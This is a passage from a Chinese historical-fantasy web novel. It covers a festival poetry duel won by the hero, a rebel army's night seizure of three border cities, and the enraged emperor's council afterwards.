齐枫看着她微微泛红的眼眶,伸手,轻轻拂开她额前一缕被风吹乱的发丝,动作自然亲昵。
“不必言谢。”他笑了笑,“你我之间,早已不必计较这些。”
这话语中的含义,让楚清秋心头一颤,脸颊微热。
她垂下眼帘,没有躲开他的手。
夕阳彻底沉入地平线,最后一抹余晖消失,暮色四合。
小院内安静下来,只有两人并肩而立的剪影。
“重阳节……”楚清秋轻声呢喃,“登高,赏菊,佩茱萸……不知北境的菊花,是否也开了。”
她的语气中,带着一丝不易察觉的向往与怅惘。
国仇家恨压在身上,她早已忘了寻常节日的滋味。
齐枫握住她微凉的手,感受着她指尖细微的颤抖。
“待此间事了,我陪你去登高,去看你想看的任何风景。”
这不是承诺,却比任何承诺都更让人心安。
楚清秋反手握紧了他的手,用力点了点头。
夜色渐浓,两人在院中又站了片刻,方才各自回房。
有些话,无需多说,彼此心意,已然明了。
而随着重阳节的临近,府城的气氛,在一种看似祥和的节日准备中,也悄然多了一丝不同寻常的暗涌。
无论是林天傲可能的报复,还是齐枫为配合北境行动而即将掀起的“热闹”,都预示着这个重阳节,绝不会平静。
一场新的风波,正在节日的气氛掩盖下,悄然酝酿。
……
夜色深沉,锦绣阁内大部分灯火已然熄灭,唯有后院齐枫所住院落的主屋,还透出朦胧的光晕。
屋内,烛火摇曳,将两个交叠的身影投在窗纸上,拉得很长。
空气中弥漫着一种事后特有的慵懒与暧昧气息。
楚清秋蜷缩在齐枫怀中,云鬓散乱,清冷的容颜上染着未曾褪尽的红霞,眼波流转间少了几分平日的疏离,多了几分属于女人的柔媚与依赖。
自那日院中坦诚身份与计划后,两人之间那层无形的隔阂似乎又被打破了一层。
今夜,不知是谁先主动,或许是压抑已久的情感需要宣泄,或许是即将到来的风雨
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让彼此更需要确认对方的存在,一切的发生都显得水到渠成。
没有过多的言语,只有肢体最原始的交流与碰撞,激烈而缠绵,仿佛要将对方揉入自己的骨血之中。
此刻,风停雨歇,只剩下彼此急促的呼吸和心跳声在寂静的夜里格外清晰。
齐枫的手有一下没一下地轻抚着楚清秋光滑的脊背,感受着她在自己怀中细微的颤栗。
这个看似坚强的女人,内心承载了太多这个年纪不该承受的重压。
复国、女帝、未出世的孩子……每一样都足以压垮常人。
“北境之事,霍将军有几成把握?”齐枫低沉的声音打破了静谧。
楚清秋在他怀里动了动,寻了个更舒适的位置:“霍将军谋划多年,联络的皆是忠心可靠的旧部,对三座边城的布防、将领脾性了如指掌。若无意外,应有七成以上把握。关键在于行动必须迅雷不及掩耳,并且要挡住朝廷最初的疯狂反扑。”
她顿了顿,抬起头,眼中闪过一丝忧色:“我最担心的,是京城那边会不会有顶尖高手迅速介入,或者……幽冥教这些阴魂不散的家伙,会不会趁机作乱,甚至与朝廷勾结。”
齐枫目光微凝。
楚清秋的担心不无道理。
大景朝廷底蕴深厚,皇室和某些世家圈养的高手不容小觑。
而幽冥教此次血月祭失败,损失惨重,但其核心骨干逃脱,难保不会狗急跳墙,与任何能给他们提供便利的势力合作。
“京城那边,我会想办法制造些麻烦,让他们短时间内无法抽调太多力量北上。至于幽冥教……”齐枫嘴角勾起一抹冷意,“他们若敢再露头,我不介意将他们剩下的爪子也剁掉。”
他的语气平静,却带着一种令人心安的强大自信。
楚清秋看着他坚毅的下颌线,心中那份不安渐渐平息。
她将脸颊重新贴在他温热的胸膛上,低声道:“一切小心。”
两人相拥而眠,暂且将外界的纷扰隔绝。
第三百二十七章 不信邪
接下来的两日,府城似乎彻底沉浸在了准备重阳佳节的氛围中。
登高、赏菊、佩茱萸、吃重阳糕……种种习俗相关的物事充斥街巷,显得一派祥和。
可在这祥和之下,暗流涌动愈发明显。
林天傲那日受辱离去后,并未立刻离开府城,反而在城中最好的客栈包下了一个独立院落,深居简出,但其随从却频繁外出,似乎在打探着什么。
显然,这位林公子并未死心,而是在酝酿着新的报复。
与此同时,一些陌生的面孔也开始出现在府城。
有江湖气十足的劲装汉子,有看似行商打扮却眼神锐利的中年人,甚至还有几个气息阴冷、行踪诡秘的身影在夜间出没。
这些人的到来,让本就敏感的萧无痕加大了锦衣卫的巡查力度,府城的气氛在节日的表象下,透着一种山雨欲来的压抑。
重阳节当日,天公作美,秋高气爽,阳光明媚。
按照惯例,府城每年重阳都会在城外的栖霞山举办盛大的登高诗会。
这不仅是文人雅士一展才华的舞台,也是各大家族、势力展示实力、结交人脉的场合。
往年,袁家亦是其中的积极参与者,如今袁家倒台,今年的诗会便由赵家牵头,卢家、陈家辅助,规模更胜往昔。
栖霞山下,早已人山人海。彩旗招展,菊花簇拥,临时搭建的彩棚连绵起伏,供应着茶水果点。
才子佳人,士绅名流,络绎不绝。
齐枫本无意参加这等聚会,但如今他身份不同,又是赵明德力邀,加之他也有意借此机会“热闹”一番,吸引各方目光,便带着周子陵、徐远、陈玉堂以及南宫玥、柳若雪等人,乘车来到了栖霞山。
他们的到来,立刻引起了全场瞩目。
“是齐公子!”
“齐英雄来了!”
“还有南宫大家和柳大家!”
人群自动分开一条道路,无数道目光聚焦在齐枫身上,充满了敬畏、好奇、崇拜,当然,也少不了嫉妒与审视。
齐枫今日依旧是一身简单的青衫,并未刻意打扮,但他那份从容的气度,卓尔不群的气质,在人群中如同鹤立鸡群,想不引人注意都难。
南宫玥和柳若雪一左一右,一个明艳端庄,一个清冷秀丽,更是为他增添了几分光彩。
赵明德亲自在山脚下的主彩棚前迎接,笑容满面:“齐贤弟,你可算来了!今日诗会,就等着你一展才华,让我等开开眼界了!”
卢正淳也在侍卫的搀扶下到场,气色比前些日子好了些,对着齐枫含笑点头。
陈玉堂的父亲,陈家家主更是热情地上前寒暄。
齐枫与众人一一见礼,态度不卑不亢。
就在这时,一个不和谐的声音突兀地响起:
“哼,我道这栖霞山诗会乃是江南文坛盛事,何时变成了武夫扬名的场所了?”
众人循声望去,只见林天傲在一群人的簇拥下,摇着玉骨折扇,踱步而来。
他今日穿着更为华丽的锦袍,脸上带着毫不掩饰的讥诮。
他身边还跟着几个穿着儒衫、看似文人打扮的男子,但眼神闪烁,气息并不纯粹,显然是请来的“帮手”。
林天傲的目光直接略过其他人,落在齐枫身上,冷笑道:“齐公子,听说你不仅武力超群,文采亦是斐然,不知今日这重阳诗会,可敢与本公子……以及这几位来自京城的友人,切磋一二?”
他特意强调了“京城”二字,挑衅意味十足。
全场顿时安静下来,所有人都嗅到了**味。
周子陵等人面露怒色,南宫玥和柳若雪也蹙起了秀眉。
赵明德脸色一沉,正要开口圆场,齐枫却已上前一步,目光平静地看着林天傲,淡然道:“林公子既然有此雅兴,齐某奉陪便是。只是不知,欲如何切磋?”
见齐枫应战,林天傲眼中闪过一丝得色,他唰地合拢折扇,指向不远处一座临时搭建、视野极佳的高台。
“简单!就在那‘揽月台’上,效仿古人,以重阳为题,即兴赋诗!在场诸
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位皆为评判!如何?”
他身后一名三角眼、留着山羊胡的文人接口道,语气傲慢:“久闻江南文风鼎盛,今日我等便以诗会友,看看是江南的才子厉害,还是我们京城的文人更胜一筹!”
这话一出,顿时激起了在场不少江南文人的不满。
这已不仅仅是林天傲与齐枫的私人恩怨,更是上升到了地域文采之争的高度!
“比就比!难道怕你们不成!”
“齐公子,让他们见识见识我们江南才子的风采!”
不少年轻气盛的文人纷纷出声,将期待的目光投向齐枫。
齐枫看着林天傲那副胜券在握的模样,以及他身边那几个明显是请来助阵的“**”,心中了然。
这林天傲,是想在文采上碾压他,找回场子。
只是可惜,他难道没听说过自己的那些名头?又或许听说过,但是压根不相信。
他微微一笑,云淡风轻:“客随主便,林公子请。”
见齐枫如此镇定,林天傲心中反而有些没底,但事已至此,已是箭在弦上。
他冷哼一声,率先向着揽月台走去,他身边的几个文人也紧随其后,摩拳擦掌。
齐枫对周子陵等人点了点头,示意他们放心,也缓步登台。
南宫玥和柳若雪对视一眼,都从对方眼中看到了一丝担忧。
文无第一,武无第二。
诗词之道,主观性极强,对方又明显是有备而来,齐枫虽才学不凡,但能否在对方擅长的领域取胜,犹未可知。
赵明德和卢正淳等人也面色凝重,这场突如其来的文斗,其影响恐怕不小。
栖霞山下,所有人的目光都聚焦在了那座高高的揽月台上。
重阳诗会,瞬间变成了两大势力,或者说,是齐枫与京城林家之间,一场另类的交锋!
揽月台上,秋风猎猎,吹动衣袂。
齐枫与林天傲及其请来的三位文人相对而立。
台下,黑压压的人群仰头观望,屏息凝神,气氛紧张得落针可闻。
第三百二十八章 碾压
林天傲这边,除了他自己,还有三人。
那三角眼、山羊胡的老者名叫孙文炳,曾是京城某位致仕老翰林的门客,以急智和刁钻闻名。
另一个面色蜡黄、眼神阴鸷的中年人叫钱庸,据说精通制艺,尤擅钻营,最后一位则是个看起来颇为年轻的公子哥,名叫柳随风,摇着一把题字折扇,故作潇洒,乃是京城某个没落书香门第的子弟,以言辞尖刻著称。
这三人,显然就是林天傲为今日之局准备的“利器”。
“既然是以重阳为题,那便由我等先抛砖引玉,如何?”孙文炳捋着山羊胡,率先开口,语气带着前辈般的倨傲,不等齐枫回答,便踱步吟道,“‘九九登高望帝京,烟霞深处隐龙庭。茱萸插遍人未老,且看秋风扫落英。’”
诗作一出,台下顿时响起一阵低低的议论声。
“帝京?龙庭?这老家伙,马屁拍得震天响!”
“不过格律倒是工整,用典也还算贴切。”
“毕竟是京城来的,肚子里有点墨水。”
这诗明着咏重阳登高,实则暗捧京城皇室,格局看似宏大,却透着一股谄媚之气。
钱庸紧接着上前,阴鸷的目光扫过齐枫,朗声道:“栖霞山色映秋光,俗子争攀名利场。莫道茱萸能辟恶,人心险处胜豺狼。”
此诗一出,台下不少人的脸色都变了。
这“俗子争攀名利场”,几乎是将在场所有参加诗会的人都骂了进去,而“人心险处胜豺狼”,更是意有所指,矛头隐隐指向齐枫,讽刺他凭借武力搅动风云,居心叵测。
“岂有此理!这厮太也无礼!”
“分明是含沙射影,辱骂齐公子!”
周子陵气得脸色通红,差点就要冲上台去。
徐远死死拉住他,低声道:“子陵,冷静!这是文斗,不可动武!”
林天傲嘴角勾起一抹得意的笑容,要的就是这个效果。
先用言语激怒对方,扰乱其心神。
轮到那柳随风,他“唰”地合上折扇,指着台下熙攘人群,又瞥了一眼齐枫,故作清高之态,吟诵道:“‘纷纷扰扰为何忙,蚁聚蜂屯闹一场。谁见真仙临俗世,空留笑话满山岗。’”
这首诗更是直接将整个诗会贬低为“蚁聚蜂屯”,嘲讽众人如同蝼蚁般可笑,语气轻蔑到了极点。
三首诗接连而出,或阿谀,或讥讽,或轻蔑,虽格律工整,却立意低下,充满了居高临下的优越感和恶意挑衅。
台下江南文人士子们无不面露愤慨,却又一时难以找到合适的诗句反击,毕竟对方扣的帽子不小,直接反驳容易落入下乘,气氛一时间变得极为压抑。
林天傲见己方气势占优,更是得意,摇着扇子看向齐枫,挑衅道:“齐公子,我这边三位朋友已抛砖引玉,不知你这江南才俊,有何佳作能让我等耳目一新啊?可莫要让我等失望,觉得江南文坛……不过如此啊!”
他将“不过如此”四个字咬得极重,充满了嘲讽。
所有人的目光都聚焦在齐枫身上,南宫玥和柳若雪手心捏了一把汗,赵明德、卢正淳等人也是面色凝重。
然而,面对这连番的言语攻击和挑衅,齐枫的神色却依旧平静如水,甚至嘴角还带着一丝若有若无的淡然笑意。
他并未立刻作诗,而是目光扫过孙文炳、钱庸、柳随风三人,缓缓开口,声音清朗,传遍全场。
“孙先生之诗,帝京龙庭,气象宏大,然重阳敬老崇孝之真意何在?莫非眼中只有帝王,而无黎庶?”
孙文炳脸色一僵,他刻意逢迎,却被齐枫一语点破格局狭小,顿时语塞。
齐枫目光转向钱庸:“钱先生讽世人争名逐利,言人心险恶。却不知,先生自身立于这名利场中,口出恶言,攻讦他人,此举与豺狼何异?莫非是‘我骂他人是豺狼,我自纯洁如白莲’?”
“你!”钱庸被怼得面红耳赤,指着齐枫,气得说不出话。
最后,齐枫看向那故作潇洒的柳随风,语气带着一丝怜悯:“
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柳公子笑众生如蚁,自比真仙。却不知,真仙超然物外,慈悲为怀,岂会如公子这般,尖酸刻薄,徒逞口舌之利?依齐某看,公子非是仙,倒像是那……聒噪的夏蝉,自以为清高,实则惹人生厌。”
这一番连消带打,言辞犀利,直指要害,将对方三人诗作中的虚伪、恶毒与浅薄批驳得体无完肤!而且句句在理,让人无法反驳!
台下寂静片刻,随即爆发出震天的喝彩声!
“说得好!”
“齐公子妙语连珠!”
“痛快!太痛快了!”
江南的文人士子们只觉得胸中一口恶气尽出,纷纷大声叫好,看向齐枫的目光充满了敬佩。
齐公子不仅武力超群,这辩才与见识,更是远超常人!
孙文炳三人被驳得哑口无言,脸色一阵青一阵白,恨不得找个地缝钻进去。
林天傲脸上的得意笑容也彻底僵住,变得难看无比。
齐枫不再理会他们,向前一步,目光扫过台下万千民众,又望向远处层林尽染的秋山,朗声吟诵道:
“《九日齐山登高》
江涵秋影雁初飞,与客携壶上翠微。
尘世难逢开口笑,菊花须插满头归。
但将酩酊酬佳节,不用登临恨落晖。
古往今来只如此,牛山何必独沾衣。”
诗声清越,如同玉磬轻鸣,回荡在栖霞山间。
前两句写景,秋江涵影,北雁南飞,与友携酒,共登青翠山峦,开阔明丽,意境高远。
三四句直抒胸臆,感慨尘世多艰,难得开怀,既然如此,何不效仿古人,菊花插满头,尽情享受这重阳佳节?充满了豁达与不羁。
五六句更是点睛之笔,只管用酩酊大醉来酬答这良辰佳节,无须在登临之际,为夕阳西下、人生迟暮而感慨怨恨。
一种看透世事、把握当下的超然情怀跃然纸上。
最后两句,借用春秋时齐景公游于牛山,北望国都临淄而流泪感慨人生短暂的典故,反其意而用之。
第三百二十九章 巨变
古往今来皆是如此,生命终有尽头,何必像齐景公那样独自伤感落泪呢?一种勘破生死、笑对人生的磅礴大气,喷薄而出!
全诗一气呵成,情景交融,由秋景而生感慨,由感慨而臻超脱,格调高昂,豁达潇洒,将重阳登高的意境提升到了一个前所未有的哲学高度!
与之前孙文炳三人的或阿谀、或讥讽、或轻蔑的诗作相比,高下立判,云泥之别!
整个栖霞山,陷入了一片死寂。
所有人都被这首诗中蕴含的豁达胸怀、深邃哲理以及那磅礴大气深深震撼了!这需要何等的胸襟与气度,才能写出如此诗句?
短暂的寂静之后,是如同山崩海啸般的喝彩与赞叹!
“好!好一个‘尘世难逢开口笑,菊花须插满头归’!”
“但将酩酊酬佳节,不用登临恨落晖……妙!太妙了!此句当浮一大白!”
“古往今来只如此,牛山何必独沾衣……齐公子之胸襟,吾等不及也!”
“此诗一出,今日重阳诗会,再无佳作!”
“齐公子大才!真乃天纵奇才!”
喝彩声、赞叹声如同潮水般涌来,经久不息。
无数文人激动得面色潮红,反复吟诵着诗中的句子,只觉得心胸都为之一阔。
南宫玥和柳若雪美眸中异彩连连,看着台上那个青衫磊落、仿佛与秋日长空融为一体的身影,心中充满了自豪与倾慕。
赵明德、卢正淳抚掌大笑,连声道:“好诗!好诗!当浮一大白!”
周子陵、徐远、陈玉堂更是兴奋得手舞足蹈,与有荣焉。
反观林天傲一行人,脸色已是惨白如纸。
孙文炳、钱庸、柳随风三人面如死灰,他们知道自己输了,而且输得一败涂地!
在这样一首足以传世的佳作面前,他们那些充满机心与恶意的诗,简直如同腐草之荧光,如何比得上天空之皓月?
林天傲死死攥着拳头,指甲几乎掐进肉里,眼神怨毒地盯着齐枫。
他本想借文斗羞辱对方,却万万没想到,反而成了对方扬名的垫脚石!
经此一事,齐枫本就文采斐然、胸襟广阔的名声,又要随着这首诗传遍天下!
他感觉自己就像个跳梁小丑,费尽心机,却落得如此下场!给他人做嫁衣。
“我们走!”林天傲再也无颜停留,从牙缝里挤出三个字,带着一群失魂落魄的跟班,灰溜溜地挤开人群,仓惶下山,背影狼狈到了极点。
没有人再去关注他们的离去,所有人的目光和欢呼,都献给了揽月台上那位青衫公子。
齐枫站在台边,承受着万民敬仰,神色依旧平静。
他目光扫过激动的人群,望向北方,心中默念:霍将军,北境的动静,我已经帮你造起来了。接下来,就看你的了。
重阳诗会,以齐枫一首旷世佳作和林天傲的彻底惨败而告终。
齐枫的文名,伴随着这首诗,如同插上了翅膀,开始以惊人的速度向着大景王朝的每一个角落扩散。
可所有人都不知道的是,就在这重阳佳节,远在数千里之外的北境,三座原本属于乾朝的边城,云朔、安岭、赤石,正悄然酝酿着一场足以震动朝野的巨变。
……
重阳佳节,北境的秋风格外凛冽,卷起戈壁滩上的黄沙,打在脸上如同刀割。
与江南的桂香菊艳不同,这里的重阳,更多了几分肃杀与苍凉。
云朔城,这座扼守北境通往中原咽喉的雄关,在暮色中如同一位沉默的巨人。
城墙由巨大的青石垒砌,饱经风霜,布满了刀劈斧凿和箭矢留下的痕迹。
城头之上,“景”字大旗在风中猎猎作响,守城的兵士裹紧了皮袄,搓着手,呵出的白气瞬间被寒风吹散。
戍守主将姓王,名贲,并非世家子弟,是靠着一刀一枪从底层爬上来的悍将。
此刻,他正在城楼内的暖阁里,与几名心腹副将围着炭火盆,吃着伙夫刚送来的羊肉,喝着烧刀子酒,庆祝这重阳佳节。
“妈的,
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这鬼天气,一天比一天冷!”王贲灌了一口烈酒,骂骂咧咧道,“朝廷的冬衣和饷银也不知道什么时候能到,再拖下去,弟兄们怕是要冻出怨言了。”
一名副将笑道:“将军放心,听说押送物资的队伍已经在路上了,再过七八日必到。再说了,这北漠蛮子今年也消停,咱们正好过个安生节。”
另一名副将压低声音道:“将军,我听说……城里最近好像有些生面孔在活动,行踪鬼祟,要不要加派人手巡查一番?”
王贲不以为意地摆摆手:“重阳节嘛,难免有些行商或者探亲的。只要他们不**,管他作甚?这云朔城固若金汤,还能让几个宵小翻了天去?喝酒喝酒!”
他并不知道,他口中所谓的“宵小”,正是谋划已久,准备在今晚给予他和这座城池致命一击的乾朝旧部。
与此同时,云朔城内一家不起眼的皮货行后院地窖中,油灯如豆,映照着十几张神色凝重、眼神锐利的面孔。
为首一人,身材高大,异常精悍,正是霍天都。
“都确认了吗?”霍天都问道。
“确认了,将军。”一名做商人打扮的汉子低声道,“王贲及其主要副将都在城楼饮酒。守城士兵分三班轮值,子时换防。我们的人已经混进了第三班,并且控制了西门和南门的哨卡。城内几个关键的军械库和粮仓附近,也安排了人手。”
另一名看似老农,眼神却精光内敛的老者补充道:“安岭、赤石两城那边也传来消息,一切准备就绪,只等将军号令,三城同时发动!”
霍天都点了点头。
他摊开一张简陋的云朔城布防图,手指点在上面:“我们的目标是迅速控制四门、军械库、粮仓以及城主府。王贲勇武,但嗜酒,且刚愎自用,今夜便是最佳时机。”
他抬起头,目光扫过地窖中每一个人的脸,这些都是跟随他多年,忠心耿耿的老兄弟,很多人脸上都带着风霜与伤痕,眼中却燃烧着复仇与复国的火焰。
第三百三十章 夺城!
“弟兄们。”霍天都的声音不高,却带着一种撼人心魄的力量,“我们忍辱负重,潜伏这么久为的就是今夜!乾朝的荣耀,我们的血仇,能否得报,就在此一举!拿下云朔、安岭、赤石,我们便有了立足之地,复国大业,便有了希望!”
“愿随将军,万死不辞!”众人压低声音,齐声低吼,眼中是视死如归的决绝。
“好!”霍天都猛地一拍地图,“按计划行事!子时三刻,以城头三支火箭为号,同时动手!”
“是!”
众人领命,如同鬼魅般悄无声息地散去,融入云朔城的夜色之中。
时间一分一秒地过去。城内的喧嚣渐渐平息,只有更夫梆子的声音在空旷的街道上回荡。
王贲和副将们喝得酩酊大醉,早已被人搀扶下去休息。
城头上的守军抱着长矛,在寒风中瑟瑟发抖,盼望着换岗的时间快点到来。
子时将至。
西门,两名守军正靠在门洞里躲避寒风,低声抱怨着天气和迟迟不到的冬衣。
忽然,阴影中窜出几道黑影,如同猎豹般扑上,捂住他们的口鼻,锋利的**精准地划过喉咙,两人连哼都没哼一声便软倒在地。
黑影迅速换上他们的衣甲,站在了哨位上。
南门,类似的情景也在上演。
几名被收买或控制的守军,悄无声息地解决了不愿合作的同伴,控制了城门。
军械库外,巡逻的士兵小队刚刚走过拐角,黑暗中便射出几支淬毒的**箭,精准地命中他们的后心。
尸体被迅速拖入阴影,另一队穿着同样军服的人马接替了他们的位置。
粮仓、马厩、城主府……一个个关键节点,都在夜幕的掩护下,悄然易主。
霍天都精心准备的潜伏与渗透,在此刻显现出惊人的效果。
整个云朔城,就像一件看似完好、内部却已被蛀空的铠甲。
子时三刻到了!
云朔城头,一名穿着景军服饰的汉子,悄然点燃了三支特制的火箭,弓开满月,对着漆黑的夜空,猛地射出!
“咻!咻!咻!!”
三支拖着橘红色尾焰的火箭,如同逆飞的流星,划破沉寂的夜空,在最高点猛地炸开,散发出耀眼的光芒!
信号!
几乎在火箭炸开的瞬间,云朔城如同被投入滚油的冷水,瞬间“沸腾”起来!
“杀!!”
震天的喊杀声从西、南两门同时爆发!
早已埋伏在城外的乾朝精锐,如同决堤的洪水,顺着被内应打开的城门,汹涌而入!
他们大多穿着简陋的皮甲,甚至有些穿着百姓的衣服,但手中的刀枪却闪烁着寒光,眼神中充满了压抑已久的仇恨与战意!
“敌袭!敌袭!”城头上,忠于王贲的守军终于反应过来,惊慌失措地敲响了警锣。
可太晚了!
冲入城内的乾朝士兵目标明确,分成数股,一股直扑城楼,一股冲向军械库,一股杀向粮仓,还有一股则迅速沿着街道清剿残余的抵抗力量。
城楼内,醉得不省人事的王贲被亲兵拼命摇醒。
“将军!不好了!有人……有人夺城了!”亲兵的声音带着哭腔。
王贲猛地坐起,宿醉带来的头痛让他眼前发黑,但多年的军旅生涯让他瞬间清醒了大半。
他一把推开亲兵,抓起靠在床边的佩刀,赤着脚就冲了出去。
来到城楼外,眼前的景象让他心胆俱裂!
只见城内多处火起,喊杀声震天,原本应该固守的城门洞开,无数陌生的身影正源源不断地涌入!
“怎么回事?!城门怎么会开?!”王贲目眦欲裂,咆哮道。
“将军!有内奸!西门和南门都被内奸控制了!”一名浑身是血的校尉踉跄跑来汇报。
“内奸?!”王贲只觉得一股寒气从脚底直冲天灵盖。
他瞬间明白了,这不是寻常的袭击,而是一场蓄谋已久、里应外合的夺城!
“顶住!都给老子顶住!亲卫队,随我去夺回西门!”王贲不愧是悍将,虽惊不乱,立刻组织身边还能调动的兵力,试图挽回败局。
他刚带着
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几十名亲兵冲下城楼,就被一股汹涌的人潮堵住了去路。
为首一人手中一柄厚重的环首刀滴着鲜血,是霍天都!
“王贲!纳命来!”霍天都声如雷霆,没有任何废话,挥刀便砍!
“你是……乾朝余孽?!”王贲瞳孔骤缩,他认出了这个乾朝余孽,心中更是冰凉。
今夜之事,绝难善了!
“当!”
两柄战刀***撞在一起,溅起一溜火星!
王贲力大,但霍天都的刀法更加狠辣刁钻,而且挟带着滔天的恨意与杀气!
两人就在狭窄的街道上展开了一场殊死搏杀。周围的士兵也混战在一起,刀光剑影,血肉横飞。
王贲的亲兵虽然精锐,但人数太少,而霍天都带来的都是百战余生的老卒,个个悍不畏死,很快就占据了上风。
与此同时,其他地方的战斗也呈现出一边倒的态势。
军械库被顺利拿下,里面的兵甲箭矢成为了乾朝士兵的补给。
粮仓也被控制,确保了后续的坚守可能。
城主府几乎没遇到什么像样的抵抗,里面的文官和家眷很快就被控制。
零星的抵抗在各个街道巷口发生,但在有组织、有预谋的进攻面前,很快就被扑灭。
王贲与霍天都激战了二十余回合,他本就酒醉未醒,体力不济,加之心中慌乱,渐渐落了下风。
霍天都瞅准一个破绽,刀光如匹练般闪过,王贲格挡不及,一条手臂齐肩而断!
“啊!”王贲发出一声凄厉的惨叫,剧痛让他几乎晕厥。
霍天都毫不留情,上前一步,刀锋横扫,一颗硕大的头颅冲天而起!
鲜血如同喷泉般从脖颈处涌出,无头的尸身晃了晃,重重倒地。
主将一死,城内残余的抵抗力量更是土崩瓦解。
不到一个时辰,云朔城内的喊杀声便渐渐平息下来。
城头之上,那面“景”字大旗被砍倒,一面早已准备好的、绣着金色龙纹的“楚”字大旗,在黎明前最黑暗的时刻,缓缓升起,迎风招展!
第三百三十一章 震怒!
几乎在同一时间,安岭城和赤石城也传来了成功的消息!
安岭城守将是个贪财好色的草包,早已被霍天都派人用金银美女收买,关键时刻临阵倒戈,打开了城门,守军几乎没做抵抗就投降了。
赤石城的战斗稍微激烈一些,守将颇为忠勇,率部巷战,但同样被早有准备的内应和城外精锐里应外合,最终力战而亡,赤石城也宣告易主。
当第一缕晨曦撕破北境厚重的云层,照亮这片饱经沧桑的土地时,云朔、安岭、赤石三座边城的城头,都飘扬起了沉寂已久的“楚”字旗!
一夜之间,北境格局骤变!
霍天都站在云朔城的最高处,望着脚下逐渐被控制的城池,望着远方升起的朝阳,刀疤脸上没有任何喜悦,只有无尽的沉重。
夺城只是第一步。
接下来,他们将面临大景朝廷**般的反扑。真正的考验,才刚刚开始。
他摸了摸怀中一枚温热的玉佩,那是楚清秋的信物。
他在心中默念:陛下,臣幸不辱命!第一步,我们成功了!复国之路,从此开启!
消息如同插上了翅膀,带着北境的烽火与血腥气,向着南方,向着大景王朝的心脏,京城,飞速传去。
一场席卷整个王朝的巨大风暴,由此拉开序幕。
而此刻,远在江南府城的齐枫,刚刚在重阳诗会上,以一首旷世诗篇,震惊四座。南北两地,风起云涌。
重阳节后的第五日,八百里加急的军报,如同带着北境血腥气的丧钟,一路撞开重重宫门,直抵大景王朝的心脏,皇宫!
其时,景帝正在乾清宫东暖阁内,与几位内阁大臣商议南方漕运改道的事宜。
暖阁内炭火烧得正旺,驱散了深秋的寒意,檀香袅袅,气氛原本还算平和。
景帝面容清癯,眼神锐利,虽略显疲惫,但久居帝位养成的威仪依旧令人不敢直视。
当那名浑身风尘、甲胄染血的信使被太监几乎是拖扶着闯入暖阁,嘶哑着喊出“北境紧急军报!云朔、安岭、赤石三城……失守了!”这句话时,整个暖阁的空气仿佛瞬间凝固了。
“哐当!”
景帝手中正把玩的一枚和田玉镇纸,失手掉落在御案之上,发出清脆的碎裂声。
但他浑然未觉,猛地从龙椅上站起,身体因为极度的震惊和愤怒而微微颤抖,脸色先是涨红,随即转为一种骇人的铁青。
“你说什么?!再说一遍!”景帝的声音如同从冰窖中捞出,带着难以置信的森寒。
那信使跪伏在地,以头抢地,带着哭腔重复道:“陛下!重阳夜,乾朝余孽纠集叛军,里应外合,突袭云朔、安岭、赤石三城!王贲将军力战殉国,三城……三城均已易帜,插上了乾朝的‘楚’字逆旗!”
“乾朝余孽……楚字旗……”景帝喃喃重复着这两个词,每一个字都像是从牙缝里挤出来的。
他胸膛剧烈起伏,猛地一拳砸在御案之上,震得笔墨纸砚齐齐一跳!
“废物!一群废物!!”景帝的咆哮声震动了整个乾清宫,他额角青筋暴跳,眼神中燃烧着滔天的怒火。
“三座边城!重兵把守的雄关!一夜之间,就被一群乾朝余孽给端了?!王贲是干什么吃的!北境都督府是干什么吃的!朕养着你们这些酒囊饭袋,有何用?!”
天子一怒,伏尸百万。暖阁内的几位内阁大臣,首辅杨廷和、次辅张正、兵部尚书李纲、户部尚书赵文渊等人,早已吓得跪伏在地,冷汗涔涔而下,连大气都不敢喘。
“陛下息怒!保重龙体啊!”首辅杨廷和须发皆白,此刻也顾不得体统,连连叩首。
他是三朝元老,深知此事干系有多大。
北境三城,不仅是防御北漠的屏障,更是大景统治北疆的象征。
一旦丢失,不仅军事上陷入被动,更会严重动摇国本,让那些潜伏的乾朝势力和心怀叵测之辈看到可乘之机!
“息怒?你
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让朕如何息怒!”景帝猛地转过身,死死盯着跪在地上的几位重臣,“三城失守,北境门户洞开!北漠蛮子会怎么看?那些一直在暗中窥伺的乾朝余孽会怎么看?天下百姓会怎么看?!啊?!”
他抓起御案上那封染血的军报,狠狠摔在地上:“都给朕看看!看看朕的边疆大将,是如何被人在重阳佳节,像宰猪羊一样给宰了的!”
兵部尚书李纲硬着头皮,捡起军报,快速浏览,越看脸色越是苍白。
军报中详细描述了叛军里应外合、行动迅速果决的过程,显然谋划已久,绝非一时兴起。
“陛下,”李纲声音干涩地回禀,“据军报所言,叛贼们死灰复燃,潜伏许久,在城中安插了大量内应,更是收买了部分守军将领,这才……这才使得叛军能如此轻易得手。王贲将军虽勇,但……寡不敌众,且事发突然……”
“内应?收买?”景帝气极反笑,“李纲!你这个兵部尚书是怎么当的?!北境防线,竟然被渗透得像筛子一样!监察御史呢?锦衣卫呢?都瞎了吗?!”
李纲匍匐在地,不敢接话。
北境苦寒,官员将领久驻,难免滋生**,被有心人钻了空子,这确是兵部和监察系统的失职。
户部尚书赵文渊见状,试图转移焦点,同时也是为自己孙子林天傲在江南的遭遇铺垫。
他开口道:“陛下,当务之急,是立刻调兵遣将,收复失地,扑灭叛军!绝不能让霍天都这等乾朝余孽站稳脚跟!臣以为,当派遣一员大将,统率精锐,火速北上平叛!”
景帝深吸了几口气,强行压下翻腾的气血,他知道现在不是一味发火的时候。
他坐回龙椅,目光冰冷地扫过众臣:“派谁?谁能给朕在最短时间内,夺回三城,将那乾朝余孽的人头带来见朕?”
次辅张正沉吟片刻,出列道:“陛下,北境都督府副将刘整,骁勇善战,熟悉北境情况,或可担此重任。”
第三百三十二章 风雨飘摇
“刘整?”景帝皱了皱眉,“此人勇则勇矣,但谋略不足,且资历尚浅,恐难以统筹全局。”
“那萧家……”
“萧家不用考虑!”景帝直接拒绝。
兵部尚书李纲接口道:“陛下,既然如此,臣举荐镇北将军,秦锐。秦将军久镇北疆,威名素著,对北漠及乾朝余孽了解甚深,且用兵老辣,定能马到功成!”
“秦锐……”景帝手指敲击着御案,若有所思。
秦锐确实是目前最合适的人选之一,资历、能力都足够。
但他也有顾虑,秦锐在军中风头太盛,其麾下的镇北军堪称虎狼之师,功高震主……
就在景帝权衡之际,一直沉默的首辅杨廷和忽然开口:“陛下,老臣以为,平叛之事,固然紧要。但更需警惕的,是此事背后可能牵扯的更大阴谋。”
